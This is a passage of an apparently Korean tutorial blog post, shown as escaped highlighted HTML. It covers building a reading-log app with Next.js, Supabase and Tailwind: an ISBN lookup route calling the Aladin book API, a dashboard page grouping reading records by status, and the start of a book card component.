    &lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;token function&quot;&gt;single&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;

  &lt;span class=&quot;token keyword&quot;&gt;if&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;error&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;token keyword&quot;&gt;throw&lt;/span&gt; error
  &lt;span class=&quot;token keyword&quot;&gt;return&lt;/span&gt; data
&lt;span class=&quot;token punctuation&quot;&gt;}&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;h3&gt;ISBN 검색 API 라우트&lt;/h3&gt;
&lt;div class=&quot;gatsby-highlight&quot; data-language=&quot;typescript&quot;&gt;&lt;pre class=&quot;language-typescript&quot;&gt;&lt;code class=&quot;language-typescript&quot;&gt;&lt;span class=&quot;token comment&quot;&gt;// src/app/api/books/search/route.ts&lt;/span&gt;
&lt;span class=&quot;token keyword&quot;&gt;import&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;{&lt;/span&gt; NextResponse &lt;span class=&quot;token punctuation&quot;&gt;}&lt;/span&gt; &lt;span class=&quot;token keyword&quot;&gt;from&lt;/span&gt; &lt;span class=&quot;token string&quot;&gt;&quot;next/server&quot;&lt;/span&gt;

&lt;span class=&quot;token keyword&quot;&gt;const&lt;/span&gt; &lt;span class=&quot;token constant&quot;&gt;ALADIN_API_KEY&lt;/span&gt; &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; process&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;env&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;token constant&quot;&gt;ALADIN_API_KEY&lt;/span&gt;

&lt;span class=&quot;token keyword&quot;&gt;export&lt;/span&gt; &lt;span class=&quot;token keyword&quot;&gt;async&lt;/span&gt; &lt;span class=&quot;token keyword&quot;&gt;function&lt;/span&gt; &lt;span class=&quot;token constant&quot;&gt;GET&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;request&lt;span class=&quot;token operator&quot;&gt;:&lt;/span&gt; Request&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;{&lt;/span&gt;
  &lt;span class=&quot;token keyword&quot;&gt;const&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;{&lt;/span&gt; searchParams &lt;span class=&quot;token punctuation&quot;&gt;}&lt;/span&gt; &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;token keyword&quot;&gt;new&lt;/span&gt; &lt;span class=&quot;token class-name&quot;&gt;&lt;span class=&quot;token constant&quot;&gt;URL&lt;/span&gt;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;request&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;url&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;
  &lt;span class=&quot;token keyword&quot;&gt;const&lt;/span&gt; isbn &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; searchParams&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;token function&quot;&gt;get&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token string&quot;&gt;&quot;isbn&quot;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;

  &lt;span class=&quot;token keyword&quot;&gt;if&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token operator&quot;&gt;!&lt;/span&gt;isbn&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;{&lt;/span&gt;
    &lt;span class=&quot;token keyword&quot;&gt;return&lt;/span&gt; NextResponse&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;token function&quot;&gt;json&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;{&lt;/span&gt; error&lt;span class=&quot;token operator&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;token string&quot;&gt;&quot;ISBN이 필요합니다&quot;&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;}&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;{&lt;/span&gt; status&lt;span class=&quot;token operator&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;token number&quot;&gt;400&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;}&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;
  &lt;span class=&quot;token punctuation&quot;&gt;}&lt;/span&gt;

  &lt;span class=&quot;token keyword&quot;&gt;try&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;{&lt;/span&gt;
    &lt;span class=&quot;token comment&quot;&gt;// 알라딘 API 호출&lt;/span&gt;
    &lt;span class=&quot;token keyword&quot;&gt;const&lt;/span&gt; response &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;token keyword&quot;&gt;await&lt;/span&gt; &lt;span class=&quot;token function&quot;&gt;fetch&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;
      &lt;span class=&quot;token template-string&quot;&gt;&lt;span class=&quot;token template-punctuation string&quot;&gt;`&lt;/span&gt;&lt;span class=&quot;token string&quot;&gt;http://www.aladin.co.kr/ttb/api/ItemLookUp.aspx?&lt;/span&gt;&lt;span class=&quot;token template-punctuation string&quot;&gt;`&lt;/span&gt;&lt;/span&gt; &lt;span class=&quot;token operator&quot;&gt;+&lt;/span&gt;
        &lt;span class=&quot;token template-string&quot;&gt;&lt;span class=&quot;token template-punctuation string&quot;&gt;`&lt;/span&gt;&lt;span class=&quot;token string&quot;&gt;ttbkey=&lt;/span&gt;&lt;span class=&quot;token interpolation&quot;&gt;&lt;span class=&quot;token interpolation-punctuation punctuation&quot;&gt;${&lt;/span&gt;&lt;span class=&quot;token constant&quot;&gt;ALADIN_API_KEY&lt;/span&gt;&lt;span class=&quot;token interpolation-punctuation punctuation&quot;&gt;}&lt;/span&gt;&lt;/span&gt;&lt;span class=&quot;token string&quot;&gt;&amp;amp;itemIdType=ISBN13&amp;amp;ItemId=&lt;/span&gt;&lt;span class=&quot;token interpolation&quot;&gt;&lt;span class=&quot;token interpolation-punctuation punctuation&quot;&gt;${&lt;/span&gt;isbn&lt;span class=&quot;token interpolation-punctuation punctuation&quot;&gt;}&lt;/span&gt;&lt;/span&gt;&lt;span class=&quot;token template-punctuation string&quot;&gt;`&lt;/span&gt;&lt;/span&gt; &lt;span class=&quot;token operator&quot;&gt;+&lt;/span&gt;
        &lt;span class=&quot;token template-string&quot;&gt;&lt;span class=&quot;token template-punctuation string&quot;&gt;`&lt;/span&gt;&lt;span class=&quot;token string&quot;&gt;&amp;amp;output=js&amp;amp;Version=20131101&lt;/span&gt;&lt;span class=&quot;token template-punctuation string&quot;&gt;`&lt;/span&gt;&lt;/span&gt;
    &lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;

    &lt;span class=&quot;token keyword&quot;&gt;const&lt;/span&gt; data &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;token keyword&quot;&gt;await&lt;/span&gt; response&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;token function&quot;&gt;json&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;

    &lt;span class=&quot;token keyword&quot;&gt;if&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token operator&quot;&gt;!&lt;/span&gt;data&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;item &lt;span class=&quot;token operator&quot;&gt;||&lt;/span&gt; data&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;item&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;length &lt;span class=&quot;token operator&quot;&gt;===&lt;/span&gt; &lt;span class=&quot;token number&quot;&gt;0&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;{&lt;/span&gt;
      &lt;span class=&quot;token keyword&quot;&gt;return&lt;/span&gt; NextResponse&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;token function&quot;&gt;json&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;
        &lt;span class=&quot;token punctuation&quot;&gt;{&lt;/span&gt; error&lt;span class=&quot;token operator&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;token string&quot;&gt;&quot;책을 찾을 수 없습니다&quot;&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;}&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt;
        &lt;span class=&quot;token punctuation&quot;&gt;{&lt;/span&gt; status&lt;span class=&quot;token operator&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;token number&quot;&gt;404&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;}&lt;/span&gt;
      &lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;
    &lt;span class=&quot;token punctuation&quot;&gt;}&lt;/span&gt;

    &lt;span class=&quot;token keyword&quot;&gt;const&lt;/span&gt; item &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; data&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;item&lt;span class=&quot;token punctuation&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;token number&quot;&gt;0&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;]&lt;/span&gt;
    &lt;span class=&quot;token keyword&quot;&gt;return&lt;/span&gt; NextResponse&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;token function&quot;&gt;json&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;{&lt;/span&gt;
      isbn&lt;span class=&quot;token operator&quot;&gt;:&lt;/span&gt; isbn&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt;
      title&lt;span class=&quot;token operator&quot;&gt;:&lt;/span&gt; item&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;title&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt;
      author&lt;span class=&quot;token operator&quot;&gt;:&lt;/span&gt; item&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;author&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt;
      publisher&lt;span class=&quot;token operator&quot;&gt;:&lt;/span&gt; item&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;publisher&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt;
      cover_image_url&lt;span class=&quot;token operator&quot;&gt;:&lt;/span&gt; item&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;cover&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt;
      page_count&lt;span class=&quot;token operator&quot;&gt;:&lt;/span&gt; item&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;subInfo&lt;span class=&quot;token operator&quot;&gt;?.&lt;/span&gt;itemPage &lt;span class=&quot;token operator&quot;&gt;||&lt;/span&gt; &lt;span class=&quot;token keyword&quot;&gt;null&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt;
      published_date&lt;span class=&quot;token operator&quot;&gt;:&lt;/span&gt; item&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;pubDate&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt;
      description&lt;span class=&quot;token operator&quot;&gt;:&lt;/span&gt; item&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;description&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt;
    &lt;span class=&quot;token punctuation&quot;&gt;}&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;
  &lt;span class=&quot;token punctuation&quot;&gt;}&lt;/span&gt; &lt;span class=&quot;token keyword&quot;&gt;catch&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;error&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;{&lt;/span&gt;
    &lt;span class=&quot;token keyword&quot;&gt;return&lt;/span&gt; NextResponse&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;token function&quot;&gt;json&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;
      &lt;span class=&quot;token punctuation&quot;&gt;{&lt;/span&gt; error&lt;span class=&quot;token operator&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;token string&quot;&gt;&quot;검색 중 오류가 발생했습니다&quot;&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;}&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt;
      &lt;span class=&quot;token punctuation&quot;&gt;{&lt;/span&gt; status&lt;span class=&quot;token operator&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;token number&quot;&gt;500&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;}&lt;/span&gt;
    &lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;
  &lt;span class=&quot;token punctuation&quot;&gt;}&lt;/span&gt;
&lt;span class=&quot;token punctuation&quot;&gt;}&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;hr&gt;
&lt;h2&gt;UI 구현 — Tailwind CSS로 반응형 대시보드&lt;/h2&gt;
&lt;h3&gt;대시보드 페이지&lt;/h3&gt;
&lt;p&gt;Claude Code에게 &quot;이전 포스팅의 와이어프레임 기반으로 대시보드를 구현해줘&quot;라고 요청하면 아래와 같은 코드를 생성합니다.&lt;/p&gt;
&lt;div class=&quot;gatsby-highlight&quot; data-language=&quot;typescript&quot;&gt;&lt;pre class=&quot;language-typescript&quot;&gt;&lt;code class=&quot;language-typescript&quot;&gt;&lt;span class=&quot;token comment&quot;&gt;// src/app/dashboard/page.tsx&lt;/span&gt;
&lt;span class=&quot;token keyword&quot;&gt;import&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;{&lt;/span&gt; createServerSupabaseClient &lt;span class=&quot;token punctuation&quot;&gt;}&lt;/span&gt; &lt;span class=&quot;token keyword&quot;&gt;from&lt;/span&gt; &lt;span class=&quot;token string&quot;&gt;&quot;@/lib/supabase-server&quot;&lt;/span&gt;
&lt;span class=&quot;token keyword&quot;&gt;import&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;{&lt;/span&gt; BookList &lt;span class=&quot;token punctuation&quot;&gt;}&lt;/span&gt; &lt;span class=&quot;token keyword&quot;&gt;from&lt;/span&gt; &lt;span class=&quot;token string&quot;&gt;&quot;@/components/books/BookList&quot;&lt;/span&gt;
&lt;span class=&quot;token keyword&quot;&gt;import&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;{&lt;/span&gt; ReadingStats &lt;span class=&quot;token punctuation&quot;&gt;}&lt;/span&gt; &lt;span class=&quot;token keyword&quot;&gt;from&lt;/span&gt; &lt;span class=&quot;token string&quot;&gt;&quot;@/components/records/ReadingStats&quot;&lt;/span&gt;
&lt;span class=&quot;token keyword&quot;&gt;import&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;{&lt;/span&gt; redirect &lt;span class=&quot;token punctuation&quot;&gt;}&lt;/span&gt; &lt;span class=&quot;token keyword&quot;&gt;from&lt;/span&gt; &lt;span class=&quot;token string&quot;&gt;&quot;next/navigation&quot;&lt;/span&gt;

&lt;span class=&quot;token keyword&quot;&gt;export&lt;/span&gt; &lt;span class=&quot;token keyword&quot;&gt;default&lt;/span&gt; &lt;span class=&quot;token keyword&quot;&gt;async&lt;/span&gt; &lt;span class=&quot;token keyword&quot;&gt;function&lt;/span&gt; &lt;span class=&quot;token function&quot;&gt;DashboardPage&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;{&lt;/span&gt;
  &lt;span class=&quot;token keyword&quot;&gt;const&lt;/span&gt; supabase &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;token keyword&quot;&gt;await&lt;/span&gt; &lt;span class=&quot;token function&quot;&gt;createServerSupabaseClient&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;

  &lt;span class=&quot;token keyword&quot;&gt;const&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;{&lt;/span&gt;
    data&lt;span class=&quot;token operator&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;{&lt;/span&gt; user &lt;span class=&quot;token punctuation&quot;&gt;}&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt;
  &lt;span class=&quot;token punctuation&quot;&gt;}&lt;/span&gt; &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;token keyword&quot;&gt;await&lt;/span&gt; supabase&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;auth&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;token function&quot;&gt;getUser&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;
  &lt;span class=&quot;token keyword&quot;&gt;if&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token operator&quot;&gt;!&lt;/span&gt;user&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;token function&quot;&gt;redirect&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token string&quot;&gt;&quot;/login&quot;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;

  &lt;span class=&quot;token comment&quot;&gt;// 독서 기록 조회 (책 정보 포함)&lt;/span&gt;
  &lt;span class=&quot;token keyword&quot;&gt;const&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;{&lt;/span&gt; data&lt;span class=&quot;token operator&quot;&gt;:&lt;/span&gt; records &lt;span class=&quot;token punctuation&quot;&gt;}&lt;/span&gt; &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;token keyword&quot;&gt;await&lt;/span&gt; supabase
    &lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;token function&quot;&gt;from&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token string&quot;&gt;&quot;reading_records&quot;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;
    &lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;token function&quot;&gt;select&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token template-string&quot;&gt;&lt;span class=&quot;token template-punctuation string&quot;&gt;`&lt;/span&gt;&lt;span class=&quot;token string&quot;&gt;*, book:books(*)&lt;/span&gt;&lt;span class=&quot;token template-punctuation string&quot;&gt;`&lt;/span&gt;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;
    &lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;token function&quot;&gt;eq&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token string&quot;&gt;&quot;user_id&quot;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; user&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;id&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;
    &lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;token function&quot;&gt;order&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token string&quot;&gt;&quot;updated_at&quot;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;{&lt;/span&gt; ascending&lt;span class=&quot;token operator&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;token boolean&quot;&gt;false&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;}&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;

  &lt;span class=&quot;token keyword&quot;&gt;const&lt;/span&gt; reading &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; records&lt;span class=&quot;token operator&quot;&gt;?.&lt;/span&gt;&lt;span class=&quot;token function&quot;&gt;filter&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;r &lt;span class=&quot;token operator&quot;&gt;=&gt;&lt;/span&gt; r&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;status &lt;span class=&quot;token operator&quot;&gt;===&lt;/span&gt; &lt;span class=&quot;token string&quot;&gt;&quot;reading&quot;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;token operator&quot;&gt;??&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;]&lt;/span&gt;
  &lt;span class=&quot;token keyword&quot;&gt;const&lt;/span&gt; finished &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; records&lt;span class=&quot;token operator&quot;&gt;?.&lt;/span&gt;&lt;span class=&quot;token function&quot;&gt;filter&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;r &lt;span class=&quot;token operator&quot;&gt;=&gt;&lt;/span&gt; r&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;status &lt;span class=&quot;token operator&quot;&gt;===&lt;/span&gt; &lt;span class=&quot;token string&quot;&gt;&quot;finished&quot;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;token operator&quot;&gt;??&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;]&lt;/span&gt;
  &lt;span class=&quot;token keyword&quot;&gt;const&lt;/span&gt; wantToRead &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; records&lt;span class=&quot;token operator&quot;&gt;?.&lt;/span&gt;&lt;span class=&quot;token function&quot;&gt;filter&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;r &lt;span class=&quot;token operator&quot;&gt;=&gt;&lt;/span&gt; r&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;status &lt;span class=&quot;token operator&quot;&gt;===&lt;/span&gt; &lt;span class=&quot;token string&quot;&gt;&quot;want_to_read&quot;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;token operator&quot;&gt;??&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;]&lt;/span&gt;

  &lt;span class=&quot;token keyword&quot;&gt;return&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;
    &lt;span class=&quot;token operator&quot;&gt;&amp;lt;&lt;/span&gt;div className&lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;token string&quot;&gt;&quot;mx-auto max-w-6xl px-4 py-8&quot;&lt;/span&gt;&lt;span class=&quot;token operator&quot;&gt;&gt;&lt;/span&gt;
      &lt;span class=&quot;token punctuation&quot;&gt;{&lt;/span&gt;&lt;span class=&quot;token comment&quot;&gt;/* 독서 통계 */&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;}&lt;/span&gt;
      &lt;span class=&quot;token operator&quot;&gt;&amp;lt;&lt;/span&gt;ReadingStats
        readingCount&lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;{&lt;/span&gt;reading&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;length&lt;span class=&quot;token punctuation&quot;&gt;}&lt;/span&gt;
        finishedCount&lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;{&lt;/span&gt;finished&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;length&lt;span class=&quot;token punctuation&quot;&gt;}&lt;/span&gt;
        wantToReadCount&lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;{&lt;/span&gt;wantToRead&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;length&lt;span class=&quot;token punctuation&quot;&gt;}&lt;/span&gt;
      &lt;span class=&quot;token operator&quot;&gt;/&lt;/span&gt;&lt;span class=&quot;token operator&quot;&gt;&gt;&lt;/span&gt;

      &lt;span class=&quot;token punctuation&quot;&gt;{&lt;/span&gt;&lt;span class=&quot;token comment&quot;&gt;/* 탭 기반 독서 목록 */&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;}&lt;/span&gt;
      &lt;span class=&quot;token operator&quot;&gt;&amp;lt;&lt;/span&gt;div className&lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;token string&quot;&gt;&quot;mt-8&quot;&lt;/span&gt;&lt;span class=&quot;token operator&quot;&gt;&gt;&lt;/span&gt;
        &lt;span class=&quot;token operator&quot;&gt;&amp;lt;&lt;/span&gt;BookList
          reading&lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;{&lt;/span&gt;reading&lt;span class=&quot;token punctuation&quot;&gt;}&lt;/span&gt;
          finished&lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;{&lt;/span&gt;finished&lt;span class=&quot;token punctuation&quot;&gt;}&lt;/span&gt;
          wantToRead&lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;{&lt;/span&gt;wantToRead&lt;span class=&quot;token punctuation&quot;&gt;}&lt;/span&gt;
        &lt;span class=&quot;token operator&quot;&gt;/&lt;/span&gt;&lt;span class=&quot;token operator&quot;&gt;&gt;&lt;/span&gt;
      &lt;span class=&quot;token operator&quot;&gt;&amp;lt;&lt;/span&gt;&lt;span class=&quot;token operator&quot;&gt;/&lt;/span&gt;div&lt;span class=&quot;token operator&quot;&gt;&gt;&lt;/span&gt;
    &lt;span class=&quot;token operator&quot;&gt;&amp;lt;&lt;/span&gt;&lt;span class=&quot;token operator&quot;&gt;/&lt;/span&gt;div&lt;span class=&quot;token operator&quot;&gt;&gt;&lt;/span&gt;
  &lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;
&lt;span class=&quot;token punctuation&quot;&gt;}&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;h3&gt;책 카드 컴포넌트&lt;/h3&gt;
&lt;div class=&quot;gatsby-highlight&quot; data-language=&quot;typescript&quot;&gt;&lt;pre class=&quot;language-typescript&quot;&gt;&lt;code class=&quot;language-typescript&quot;&gt;&lt;span class=&quot;token comment&quot;&gt;// src/components/books/BookCard.tsx&lt;/span&gt;
&lt;span class=&quot;token string&quot;&gt;&quot;use client&quot;&lt;/span&gt;

&lt;span class=&quot;token keyword&quot;&gt;import&lt;/span&gt; Image &lt;span class=&quot;token keyword&quot;&gt;from&lt;/span&gt; &lt;span class=&quot;token string&quot;&gt;&quot;next/image&quot;&lt;/span&gt;
&lt;span class=&quot;token keyword&quot;&gt;import&lt;/span&gt; Link &lt;span class=&quot;token keyword&quot;&gt;from&lt;/span&gt; &lt;span class=&quot;token string&quot;&gt;&quot;next/link&quot;&lt;/span&gt;
&lt;span class=&quot;token keyword&quot;&gt;import&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;{&lt;/span&gt; Star &lt;span class=&quot;token punctuation&quot;&gt;}&lt;/span&gt; &lt;span class=&quot;token keyword&quot;&gt;from&lt;/span&gt; &lt;span class=&quot;token string&quot;&gt;&quot;lucide-react&quot;&lt;/span&gt;
